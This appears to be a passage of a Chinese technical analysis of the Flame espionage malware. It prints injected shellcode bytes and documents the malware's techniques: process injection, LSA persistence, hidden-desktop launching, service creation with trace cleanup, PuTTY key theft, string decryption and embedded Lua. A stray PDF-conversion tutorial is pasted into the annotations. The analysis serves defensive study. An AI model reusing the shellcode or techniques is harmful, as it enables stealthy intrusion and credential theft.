0x46,0x60,0x50,0x57,0x53,0x6A,0x04,0x8D,0x45,0xA8,0x50,0x6A,0xFF,0xC6,0x45,0x0B,
0x01,0xFF,0x56,0x28,0x3B,0xC3,0x89,0x45,0xE4,0x75,0x0C,0xC7,0x45,0xF0,0x16,0x00,
0xFF,0xFF,0xE9,0x54,0x01,0x00,0x00,0x57,0x53,0x53,0x6A,0x02,0xFF,0x75,0xE4,0xFF,
0x56,0x30,0x3B,0xC3,0x89,0x45,0xEC,0x75,0x0C,0xC7,0x45,0xF0,0x17,0x00,0xFF,0xFF,
0xE9,0x36,0x01,0x00,0x00,0x80,0x7D,0x0B,0x00,0x0F,0x84,0x01,0x01,0x00,0x00,0x57,
0x53,0xFF,0x75,0xEC,0xFF,0x56,0x24,0x83,0xC4,0x0C,0x89,0x5D,0xD0,0x8D,0xBE,0xFA,
0x04,0x00,0x00,0x57,0xFF,0x56,0x14,0x3B,0xC3,0x89,0x45,0xB4,0x74,0x3B,0xFF,0x45,
0xD0,0x83,0x7D,0xD0,0x05,0x7C,0xEC,0x53,0x6A,0x18,0x8D,0x45,0x90,0x50,0x53,0x6A,
0xFF,0xFF,0x56,0x3C,0x3D,0x00,0x00,0x00,0xC0,0x72,0x2A,0x53,0x6A,0x18,0x8D,0x45,
0x90,0x50,0x53,0x6A,0xFF,0xFF,0x56,0x3C,0x83,0xF8,0xFF,0x77,0x18,0xC7,0x45,0xF0,
0x19,0x00,0xFF,0xFF,0xE9,0xD2,0x00,0x00,0x00,0xC7,0x45,0xF0,0x18,0x00,0xFF,0xFF,
0xE9,0xC6,0x00,0x00,0x00,0x8B,0x45,0x94,0x8B,0x40,0x0C,0x83,0xC0,0x0C,0x8B,0x38,
0xEB,0x0A,0x8B,0x4F,0x18,0x3B,0x4D,0xB4,0x74,0x08,0x8B,0x3F,0x3B,0xF8,0x75,0xF2,
0xEB,0x68,0x8B,0x47,0x1C,0x8B,0x4D,0xEC,0x89,0x41,0x04,0x8B,0x86,0x18,0x09,0x00,
0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x83,0xC0,0x14,0x50,0x53,0xFF,0x56,0x04,
0x3B,0xC3,0x75,0x09,0xC7,0x45,0xF0,0x1A,0x00,0xFF,0xFF,0xEB,0x7E,0x8B,0x4E,0x20,
0x89,0x48,0x10,0x8B,0x4E,0x38,0x89,0x48,0x0C,0x8B,0x4E,0x48,0x89,0x48,0x08,0x8B,
0x4D,0xEC,0xC7,0x00,0xBA,0xBA,0x0D,0xF0,0x89,0x48,0x04,0xFF,0xB6,0x18,0x09,0x00,
0x00,0x83,0xC0,0x14,0xFF,0xB6,0x14,0x09,0x00,0x00,0x89,0x45,0xB4,0x50,0xFF,0x56,
0x20,0x8B,0x45,0xB4,0x83,0xC4,0x0C,0x89,0x47,0x1C,0x8B,0x45,0xEC,0x39,0x58,0x04,
0x75,0x09,0xC7,0x45,0xF0,0x1B,0x00,0xFF,0xFF,0xEB,0x30,0x8B,0x4D,0xE8,0x89,0x08,
0x8B,0x4D,0xEC,0x33,0xC0,0x33,0xD2,0x83,0xC1,0x08,0x3B,0xC3,0x75,0x26,0x39,0x19,
0x75,0x02,0x8B,0xC1,0x42,0x81,0xC1,0x20,0x02,0x00,0x00,0x83,0xFA,0x28,0x72,0xEA,
0x3B,0xC3,0x75,0x10,0xC7,0x45,0xF0,0x1C,0x00,0xFF,0xFF,0x8B,0x7D,0xF4,0xC6,0x45,
0xFA,0x01,0xEB,0x5F,0x8B,0x4D,0xE0,0x8B,0x7D,0xF4,0x89,0x48,0x04,0x89,0x38,0xC7,
0x40,0x08,0x01,0x00,0x00,0x00,0x8B,0x8E,0x1C,0x09,0x00,0x00,0x89,0x48,0x0C,0x8A,
0x8E,0x20,0x09,0x00,0x00,0x88,0x48,0x10,0x8B,0x8E,0x10,0x09,0x00,0x00,0x89,0x88,
0x1C,0x02,0x00,0x00,0x68,0x0A,0x02,0x00,0x00,0x8D,0x8E,0x04,0x07,0x00,0x00,0x51,
0x83,0xC0,0x12,0x50,0xFF,0x56,0x20,0x83,0xC4,0x0C,0x80,0x7D,0x0B,0x00,0x74,0x13,
0xFF,0x75,0xE8,0x89,0x5D,0xEC,0x89,0x5D,0xE4,0xFF,0x56,0x38,0xC6,0x45,0xFB,0x00,
0x89,0x5D,0xE8,0x39,0x5D,0xEC,0x74,0x06,0xFF,0x75,0xEC,0xFF,0x56,0x34,0x39,0x5D,
0xE4,0x74,0x06,0xFF,0x75,0xE4,0xFF,0x56,0x4C,0x80,0x7D,0xFB,0x00,0x74,0x06,0xFF,
0x75,0xE8,0xFF,0x56,0x38,0x39,0x5D,0xE8,0x74,0x06,0xFF,0x75,0xE8,0xFF,0x56,0x4C,
0xFF,0x75,0xC0,0xFF,0x56,0x54,0x39,0x5D,0xDC,0x74,0x06,0xFF,0x75,0xDC,0xFF,0x56,
0x5C,0x80,0x7D,0xFA,0x00,0xB8,0x1E,0x00,0xFF,0xFF,0x74,0x2C,0x39,0x5D,0xBC,0x74,
0x0B,0x39,0x5D,0xE0,0x74,0x06,0x53,0x53,0x57,0xFF,0x55,0xE0,0x80,0xBE,0x20,0x09,
0x00,0x00,0x00,0x74,0x06,0x57,0xFF,0x56,0x34,0xEB,0x0A,0x68,0x00,0x80,0x00,0x00,
0x53,0x57,0xFF,0x56,0x08,0x8B,0x45,0xF0,0x89,0xBE,0x2C,0x0B,0x00,0x00,0xEB,0x05,
0xB8,0x05,0x00,0xFF,0xFF,0x5F,0x5E,0x5B,0xC9,0xC2,0x04,0x00,0x68
第三次接着上面的Shell Code地址顺序写入:
写入数据为,长度为4
0x00,0x00,0x00,0x00
第四次接着上面的Shell Code地址顺序写入:
Shell Code如下文件,长度为:0x5e2330
最后恶意代码通过函数CreateRemoteThread函数来创建远程线程,执行刚才写入到Services.exe进程中的Shell code。
发现对注册表进行操作:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SeCEdit
- 疑似组策略键值
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation
- StandardSize,修改标准时间
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\Count\HRZR_EHACNGU:(ahyy)
键值: 类型: REG_BINARY 长度:16 (0x10) 字节 s
05 00 00 00 06 00 00 00 20 3E 44 29 E3 54 CD 01 | ........ >D)鉚?
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11
键值: 类型: REG_BINARY 长度:56 (0x38) 字节 s
000000: 36 00 31 00 00 00 00 00 C8 40 0A 0F 10 00 66 6C | 6.1.....菮....fl
000010: 61 6D 65 00 22 00 03 00 04 00 EF BE DC 40 EF 1C | ame.".....锞蹳?
000020: DC 40 18 1D 14 00 00 00 66 00 6C 00 61 00 6D 00 | 蹳......f.l.a.m.
000030: 65 00 00 00 14 00 00 00 | e.......
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0
键值: 类型: REG_BINARY 长度:78 (0x4e) 字节 s
000000: 4C 00 31 00 00 00 00 00 C7 40 EA 39 10 00 6D 73 | L.1.....茾?..ms
000010: 73 65 63 6D 67 72 2E 6F 63 78 00 00 30 00 03 00 | secmgr.ocx..0...
000020: 04 00 EF BE DC 40 F5 1C DC 40 09 1D 14 00 00 00 | ..锞蹳?蹳......
000030: 6D 00 73 00 73 00 65 00 63 00 6D 00 67 00 72 00 | m.s.s.e.c.m.g.r.
000040: 2E 00 6F 00 63 00 78 00 00 00 1C 00 00 00 | ..o.c.x.......
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0
键值: 类型:REG_BINARY 长度:54 (0x36) 字节 s
000000: 34 00 35 00 00 00 00 00 DC 40 CB 1B 10 00 D8 53 | 4.5.....蹳?..豐
000010: CD 79 31 00 00 00 1E 00 03 00 04 00 EF BE DC 40 | 蛓1.........锞蹳
000020: F6 1C DC 40 08 1D 14 00 00 00 D8 53 CD 79 31 00 | ?蹳......豐蛓1.
000030: 00 00 16 00 00 00 | ......
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0\MRUListEx
键值: 类型: REG_BINARY 长度:4 (0x4) 字节 s
FF FF FF FF |
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0\NodeSlot
键值: DWORD: 96 (0x60)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\MRUListEx
键值: 类型: REG_BINARY 长度: 8 (0x8) 字节 s
00 00 00 00 FF FF FF FF | ....
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\NodeSlot
键值: DWORD: 95 (0x5f)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\MRUListEx
键值: 类型: REG_BINARY 长度: 8 (0x8) 字节 s
00 00 00 00 FF FF FF FF | ....
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\NodeSlot
键值: DWORD: 94 (0x5e)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\Address
键值: DWORD: 4294967295 (0xffffffff)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\Buttons
键值: DWORD: 4294967295 (0xffffffff)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\Col
键值: DWORD: 4294967295 (0xffffffff)
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\ColInfo
键值: 类型: REG_BINARY 长度: 112 (0x70) 字节 s
000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
000010: FD DF DF FD 0F 00 04 00 20 00 10 00 28 00 3C 00 | 啐.... ...(.<.
000020: 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 | ................
000030: B4 00 60 00 78 00 78 00 00 00 00 00 01 00 00 00 | ?`.x.x.........
...更多...
开机启动:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages
新: 类型: REG_MULTI_SZ 长度: 21 (0x15) 字节 s
6D 73 76 31 5F 30 00 6D 73 73 65 63 6D 67 72 2E | msv1_0.mssecmgr.
6F 63 78 00 00 | ocx..
旧: 类型: REG_MULTI_SZ 长度: 8 (0x8) 字节 s
6D 73 76 31 5F 30 00 00 | msv1_0..
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\LcnEndLocation
新; 字符串: "10675834"
旧; 字符串: "0"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\LcnStartLocation
新: 字符串: "10485101"
旧: 字符串: "0"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\OptimizeComplete
新: 字符串: "Yes"
旧: 字符串: "No"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\OptimizeError
新:字符串: " "
旧:字符串: "Missing Registry Entries"
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SeCEdit
HKLM\Software\Microsoft\Internet Explorer\LowRegistry
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Option
HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation
HKLM\SOFTWARE\Symantec\Norton AntiVirus
HKLM\SOFTWARE\Symantec\InstalledApps
HKLM\SOFTWARE\KasperskyLab\avp6\settings
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings
HKLM\SOFTWARE\KasperskyLab
HKLM\SOFTWARE\Symantec\SymSetup\Internet security
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
HKLM\SOFTWARE\Symantec\Symantec AntiVirus
HKLM\SYSTEM\CurrentControlSet\Control\Lsa
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
HKIU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKLM\Software\Microsoft\Windows\CurrentVersion\MMDevices\Audio\Capture\%s\properties
发现Flame遍历系统中所有顶层窗口,查找类名与窗口名都为”Pageant”的窗口并向其发送消息。经确认Pageant为Putty程序的认证代理工具,可以添加用户私钥,之后第一次登陆服务器时输入密码Pageant会将密码保存,以后则不需要输入密码。
SendMessageA( Msg=0x4a,wParam=0x00,lParam=0x804e50ba)
发现Flame恶意代码创建一个桌面,然后创建进程Iexplorer.exe并将其默认桌面设置为新创建的桌面,可能为达到隐藏启动的目的。
mov [ebp+StartupInfo.cb], 44h
mov eax, lpszDesktop
mov [ebp+StartupInfo.lpDesktop], eax ; set desktop
mov [ebp+CommandLine], bl
mov esi, 104h
push esi
push ebx
lea eax, [ebp+VersionInformation]
push eax ;
pVersionInformation
call 0x101A1130
add esp, 0Ch
push esi ; nSize
lea eax, [ebp+CommandLine]
push eax ;
"%ProgramFiles%\Internet Explorer\iexplore.exe"
push environment_strings
call ExpandEnvironmentStringsA
cmp eax, ebx
jz 0x100E3157
cmp eax, esi
ja 0x100E3157
lea eax, [ebp+ProcessInformation]
push eax ;
lpProcessInformation
lea eax, [ebp+StartupInfo]
push eax ;
lpStartupInfo
push ebx ;
lpCurrentDirectory
push ebx ;
lpEnvironment
push 4 ;
dwCreationFlags
push ebx ;
bInheritHandles
push ebx ; lpThreadAttributes
push ebx ;
lpProcessAttributes
lea eax, [ebp+CommandLine]
push eax ;
lpCommandLine
push ebx ;
lpApplicationName
call ds:CreateProcessA
分析中发现大量SQL语句,这些语句是操作SQLite数据库中的相关数据。
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
UPDATE %s SET Grade = (SELECT %d/%d.0*(rowid - 1) FROM st WHERE st.ProdID = %s.ProdID);
ELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
INSERT OR REPLACE INTO Configuration (Name, App, Value) VALUES('%s','%s' ,'%s');
INSERT OR IGNORE INTO %s (Name,App,Value) Values('STORAGE_LENGTH','%s',0);
UPDATE sqlite_master SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
UPDATE %s SET Value = Value - old.BufferSize WHERE Name = 'STORAGE_SIZE' AND App = '%s';
UPDATE %s SET Value = Value + 1 WHERE Name = 'STORAGE_LENGTH' AND App = '%s';
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
UPDATE %s SET Value = Value - 1 WHERE Name = 'STORAGE_LENGTH' AND App = '%s';
UPDATE %s SET Value = Value + new.BufferSize WHERE Name = 'STORAGE_SIZE' AND App = '%s';
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
INSERT OR IGNORE INTO %s (Name,App,Value) Values('STORAGE_SIZE','%s',0);
WQL的全称是WMI Query Language,简称为WQL, Windows管理规范查询语言。
root\ CIMV2
select * from Win32_LogicalDisk
SELECT * FROM __InstanceOperationEvent WITHIN %d WHERE TargetInstance ISA 'Win32_LogicalDisk'
select ProcessID, Name from Win32_Process
\\.\pipe\navssvcs
\\.\pipe\PipeGx16
\\.\\pipe\spoolss
分析过程中发现一些函数存在类似加花的指令,这些指令并不影响程序的任何功能,如下红色部分代码。
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, eax
push ebx
push eax
pop eax
pop ebx
pusha
popa
mov esi, [ebp+8]
Flame在单独的线程修改权限,打开并创建服务,加载运行Rdcvlt32.exe程序。
push edi ;
lpPassword
push edi ;
lpServiceStartName
push edi ;
lpDependencies
push edi ;
lpdwTagId
push edi ;
lpLoadOrderGroup
push PathName ; lpBinaryPathName =
;"%windir%\system32\rdcvlt32.exe"
push edi ;
dwErrorControl
push 3 ;
dwStartType
push 10h ;
dwServiceType
push 0F01FFh ;
dwDesiredAccess
push DisplayName ; lpDisplayName
push ServiceName ; lpServiceName
push eax ; hSCManager
call CreateServiceA
cmp eax, edi
并且在创建完服务后直接将其启动,并删除服务,清理掉注册表相关痕迹。
mov eax, [ebx+4]
mov byte ptr [eax+6], 1
call start_service
mov [ebp-1], al
mov eax, edi
call delete_service
cmp al, 1
jnz 0x1011BCD9
各个模块字符串的加密部分析
各个模块的加密部分存在很大的相通相同处。采用的算法主要是通过如下方式:
图 3-5加密算法
各个文件采取的算法参数和算式如下:
File name
|
Param a
|
Param b
|
Param c
|
M
|
Mssecmgr.ocx
|
0xBh
|
0xBh+0xCh
|
[0x10376F70h]
|
M=(0xBh+n)*(0xBh+0xCh+n)+[0x101376F70h]
|
Msglu32.ocx
|
0xBh
|
0xBh+0xCh
|
[0x101863ECh]
|
M=(0xBh+n)*(0xBh+0xCh+n)+[0x101863ECh]
|
Advnetcfg.ocx
|
0x1Ah
|
0x5h
|
0
|
M==(0xAh+n)*(0x5h+n)
|
Nteps32.ocx
|
0x1Ah
|
0x5h
|
0
|
M==(0xAh+n)*(0x5h+n)
|
Soapr32.ocx
|
0x11h
|
0xBh
|
0
|
M==(0x11h+n)*(0xbh+n)
|
Noname.dll
|
0x11h
|
0xBh
|
0
|
M==(0x11h+n)*(0xbh+n)
|
Jimmy.dll
|
0xBh
|
0xBh+0x6h
|
0x58h
|
M=(0xbh+N)*(N+0xbh+0x6h)+0x58h
|
Comspol32.ocx
|
0xBh
|
0xBh+0x6h
|
0
|
M=(0xbh+N)*(N+0xbh+0x6h)
|
Browse32.ocx
|
0xBh
|
0xBh+0xch
|
0
|
M=(0xbh+N)*(N+0xbh+0xch)
|
发现Flame读取PUTTY创建Key的临时文件内容,可能为破解通讯密钥。
%Documents and Settings%\Administrator\PUTTY.RND
lea eax, putty_file_path[eax]
push eax ;
lpBuffer
push offset str_HOMEPATH ; decode:"HOMEPATH"
call my_decode_strA ; decode: "HOMEPATH"
pop ecx
push eax ;
lpName
call edi ; GetEnvironmentVariableA
test eax, eax
jnz short 0x10073E35
push esi ; uSize
push ebx ;
lpBuffer
call ds:GetWindowsDirectoryA
push ebx ; c1
call 0x101A1370
pop ecx
mov esi, eax
jmp short 0x10073E3B
add [ebp+var_4], eax
mov esi, [ebp+var_4]
push offset str_PUTTY_RND ; data
call my_decode_strA ; decode : "\PUTTY.RND"
push eax
lea eax, putty_file_path[esi]
push eax
call 0x101A1270 ; cat path
push ebx ;
hTemplateFile
push ebx ;
dwFlagsAndAttributes
push 3 ;
dwCreationDisposition
push ebx ;
lpSecurityAttributes
push 3 ;
dwShareMode
push 80000000h ; dwDesiredAccess
push offset putty_file_path ; lpFileName
call ds:CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+hObject], eax
jz short 0x10073EE6
push esi
mov esi, ds:ReadFile ;read putty.rnd file
图 3-6在内存中发现的一些LUA模块名
下面为Lua源文件:
const char *const luaP_opnames[NUM_OPCODES+1] = {
"MOVE",
"LOADK",
"LOADBOOL",
"LOADNIL",
"GETUPVAL",
"GETGLOBAL",
"GETTABLE",
"SETGLOBAL",
"SETUPVAL",
"SETTABLE",
"NEWTABLE",
"SELF",
"ADD",
"SUB",
"MUL",
"DIV",
"MOD",
"POW",
"UNM",
"NOT",
"LEN",
"CONCAT",
"JMP",
"EQ",
"LT",
"LE",
"TEST",
"TESTSET",
"CALL",
"TAILCALL",
"RETURN",
"FORLOOP",
"FORPREP",
"TFORLOOP",
"SETLIST",
"CLOSE",
"CLOSURE",
"VARARG",
NULL
};
发现内容完全一致,在分析过程中又发现大量Lua代码因此得出恶意代码是静态的将Lua代码编译进程序中的。
发现Flame内部包含的Lua代码的版本为Lua 5.1
mov eax,edi
call mssecmgr.100B8F0F
push mssecmgr.1026195C ; ASCII "_G"
mov eax,edi
call mssecmgr.100B9417
pop ecx
mov eax,mssecmgr.10261778
mov ebx,mssecmgr.10261960 ; ASCII "_G"
mov ecx,esi
call mssecmgr.100B9DB3
push 0x7
push mssecmgr.10261964 ; ASCII "Lua 5.1"
mov eax,esi
call mssecmgr.100B9142
push mssecmgr.1026196C ; ASCII "_VERSION"
mov eax,edi
call mssecmgr.100B9417
add esp,0xC
push mssecmgr.100CF1E6
push mssecmgr.100CF23B
push mssecmgr.10261978 ; ASCII "ipairs"
mov eax,esi
call mssecmgr.100CFAE7
add esp,0xC
push mssecmgr.100CF171
push mssecmgr.100CF1B0
push mssecmgr.10261980 ; ASCII "pairs"
mov eax,esi
call mssecmgr.100CFAE7
add esp,0xC
push 0x1
push 0x0
mov eax,esi
call mssecmgr.100B932F
or eax,-0x1
call mssecmgr.100B8F0F
push -0x2
pop eax
call mssecmgr.100B953A
push 0x2
push mssecmgr.10261988 ; ASCII "kv"
图 3-7 Flame代码
static void base_open (lua_State *L) {
/* set global _G */
lua_pushvalue(L, LUA_GLOBALSINDEX);
lua_setglobal(L, "_G");
/* open lib into
global table */
luaL_register(L, "_G", base_funcs);
lua_pushliteral(L, LUA_VERSION); //LUA_VERSION : "Lua 5.1"
lua_setglobal(L, "_VERSION"); /* set global
_VERSION */
/* `ipairs' and
`pairs' need auxliliary functions as upvalues */
auxopen(L, "ipairs", luaB_ipairs, ipairsaux);
auxopen(L, "pairs", luaB_pairs, luaB_next);
/* `newproxy' needs
a weaktable as upvalue */
lua_createtable(L, 0, 1); /* new table `w' */
lua_pushvalue(L, -1); /* `w' will be its
own metatable */
lua_setmetatable(L, -2);
lua_pushliteral(L, "kv");
lua_setfield(L, -2, "__mode"); /*
metatable(w).__mode = "kv" */
lua_pushcclosure(L, luaB_newproxy, 1);
lua_setglobal(L, "newproxy"); /* set global
`newproxy' */
图 3-8 Lua代码
Flame中包含的结构与Lua5.1一致。
图 3-9Flame中的LUA结构
static const luaL_Reg base_funcs[] = {
{"assert", luaB_assert},
{"collectgarbage", luaB_collectgarbage},
{"dofile", luaB_dofile},
{"error", luaB_error},
{"gcinfo", luaB_gcinfo},
{"getfenv", luaB_getfenv},
{"getmetatable", luaB_getmetatable},
{"loadfile", luaB_loadfile},
{"load", luaB_load},
{"loadstring", luaB_loadstring},
{"next", luaB_next},
{"pcall", luaB_pcall},
{"print", luaB_print},
{"rawequal", luaB_rawequal},
{"rawget", luaB_rawget},
{"rawset", luaB_rawset},
{"select", luaB_select},
{"setfenv", luaB_setfenv},
{"setmetatable", luaB_setmetatable},
{"tonumber", luaB_tonumber},
{"tostring", luaB_tostring},
{"type", luaB_type},
{"unpack", luaB_unpack},
{"xpcall", luaB_xpcall},
{NULL, NULL}
};
图 3-10Lua 5.1 中的结构
而Lua5.1版本发布的时间为2006年2月21日,Lua 5.2版本发布日期为2011年12月16日。这也间接证明了Flame的开发时间应为2006年2月21日至2011年12月16日之间。
同时在分析过程中发现了大量的Lua脚本函数名见附录七(详见附录七为Mssecmgr.ocx文件中使用Lua脚本函数列表内容)可以通过这些函数名来辅助判断Lua脚本功能。
在主程序地址10266CE处发现可以被RawDES 算法使用的数组RawDES_Spbox。
通过对调用该地址的函数进行分析,确认该程序确实使用了des加密算法。
说明如下:
通过对调用该地址的函数进行分析。发现调用函数中有16处循环计算表达式。是DES加密算法的明显特征。计算出每个数值后,后面的异或操作也和DES算法的计算方式匹配。
对函数的调用,其参数的第三个为加密的密钥。
int 0x10084393 (int a1, unsigned int a2, int a3, int a4)
主模块加载资源到内存,进行简单异或解密,算法代码如下:
首先传入DB DF AC A2 作为文件头,然后对资源逐字节解密。
判断当前字节是否是0XA9:
如果是,则直接与前一解密后的数据异或,结果为解密后的数据。
如果不是,则将EDX赋值为0XA9后,并与EDX异或,得出结果在与前一解密后的数据异或。最后得出的结果为解密后的数据。
10050898 mov al,byte ptr ds:[esi]
1005089A test al,al
1005089C je short 0x100508A9
1005089E cmp al,0xA9
100508A0 je short 0x100508A9
100508A2 mov edx,0xA9
100508A7 jmp short 0x100508AB
100508A9 xor edx,edx
100508AB xor al,dl
100508AD xor cl,al
100508AF mov byte ptr ds:[edi+esi],cl
100508B2 inc esi
100508B3 dec dword ptr ss:[esp+0xC]
100508B7 jnz short 0x10050898
经过对Flame调用Lua函数的分析总结发现Flame调用Lua脚本的方式。首先程序在初始化过程中在Lua环境内创建一些表,然后在这些表中保存Key,Value形式的键值对,后续通过获取指定的表,然后将表中指定的Key的值取出来,作为Lua代码执行。如以下代码所示,Flame的表名,及Key的名字时全部都是加密存储,使用时在将其解密。
mov eax,esi
call mssecmgr.100B932F ; lua_createtable
mov esi,dword ptr ds:[edi+0xD4]
push mssecmgr.10304B78
call mssecmgr.1000E431 ; decode string "script"
add esp,0xC
push eax
call mssecmgr.100B917A ; lua_pushstring
mov eax,dword ptr ds:[edi+0xBC]
mov edx,dword ptr ds:[edi+0xD4]
pop ecx
push eax
lea ecx,dword ptr ds:[edi+0xB0]
call mssecmgr.1000757C
push eax
mov eax,edx
call mssecmgr.100B9142 ; lua_pushlstring
mov esi,dword ptr ds:[edi+0xD4]
pop ecx
pop ecx
push -0x3
pop eax
call mssecmgr.100B93F4 ; lua_settable : set value
lea ecx,dword ptr ds:[edi+0x8C]
mov eax,dword ptr ds:[ecx]
图 3-11设置script的值
mov esi,dword ptr ds:[ebx+0xD4]
push mssecmgr.10304BB0
call mssecmgr.1000E431 ; decode string "_params"
pop ecx
push eax
mov eax,-0x2712
call mssecmgr.100B9285 ; table name is "_params"
mov esi,dword ptr ds:[ebx+0xD4]
mov dword ptr ss:[esp],mssecmgr.10304BCC
call mssecmgr.1000E431 ; decode string "script"
pop ecx
push eax
call mssecmgr.100B917A ; lua_pushstring
mov esi,dword ptr ds:[ebx+0xD4]
pop ecx
push -0x2
pop eax
call mssecmgr.100B9269 ; lua_gettable get lua script
mov esi,dword ptr ds:[ebx+0xD4]
push -0x2
pop eax
call mssecmgr.100B8DFE ; lua_remove
mov eax,dword ptr ds:[ebx+0xD4]
and dword ptr ss:[esp+0x10],0x0
lea ecx,dword ptr ss:[esp+0x10]
push ecx
push -0x1
push eax
call mssecmgr.100B9C8B ; luaL_checklstring
mov esi,dword ptr ds:[ebx+0xD4]
add esp,0xC
push mssecmgr.10304BE8
mov edi,eax
call mssecmgr.1000E431 ; decode string "script"
pop ecx
push eax
push dword ptr ss:[esp+0x14]
mov eax,edi
call mssecmgr.100BA0B2 ; luaL_loadbuffer load lua script
test eax,eax
pop ecx
pop ecx
jnz mssecmgr.100B8381
mov ecx,dword ptr ds:[ebx+0xD4]
xor edi,edi
push eax
inc edi
call mssecmgr.100B966F ; lua_pcall call lua script
图 3-12读取并执行script的值
分析发现加密字符串中存在有关虚拟打印机相关字符串, 和大量用作PDF转换的相关软件的名字,推测为判断本机是否安装此类软件,可能会利用这些软件进行转换操作。
add esp, 0Ch
push offset unk_102CA098
call near ptr my_decode_strW ; decode : "Microsoft Office
Document Image Writer"
; Microsoft Office Document Imaging Writer 独立安装版
有些人希望把pdf格式的文件转化成word或者jpeg,因此去寻找专用的软件,其实这些软件用起来并不好用,我们可以用office自带的虚拟打印机完成快速转化。
1、pdf-word:用Adobe Reader 打开文件,选择打印文件,打印机选为Microsoft Office Document Imaging Writer,打印。会生成一系列*.mdi文件,
用Microsoft Office Document Imaging (office工具)打开,用“工具”下的“将文件发送到word”完成转换(相比尚书等软件正确率很高!)。
2、pdf-jpeg:按上面的步骤把pdf转成mdi,再用Microsoft Office Document Imaging将mdi转存为*.tag图像文件。一般的绘图软件都可识别tag,
再用这些软件将tag转存成jpeg(这种方法适用通篇文章的转化,局部copy大家都会,不用罗索了)。
add esp, 4
mov [ebp+var_A0], eax
push offset unk_102CA148
call near ptr my_decode_strW ;
decode : "Microsoft XPS Document Writer"
;也是一款windows虚拟打印机
add esp, 4
mov [ebp+var_9C], eax
push offset unk_102CA1B0
call near ptr my_decode_strW ; decode : "Send to Onenote 2007"
; Office OneNote 2007 是一种数字笔记本,它为用户提供了一个收集笔记和信息的位置,并提供了强大的搜索功能和易用的共享笔记本:搜索功能使用户可以迅速找到所需内容,共享笔记本使用户可以更加有效地管理信息超载和协同工作。
;引自 : http://baike.baidu.com/view/1439935.htm?wtp=tt
add esp, 4
mov [ebp+var_98], eax
push offset unk_102CA200
call near ptr my_decode_strW ; decode : "win2pdf"
; Win2PDF是一款快速、方便、不贵的工具软体,能够制作出PDF档案格式的电子档案。Win2PDF可以在Windows
NT、Windows
2000和Windows
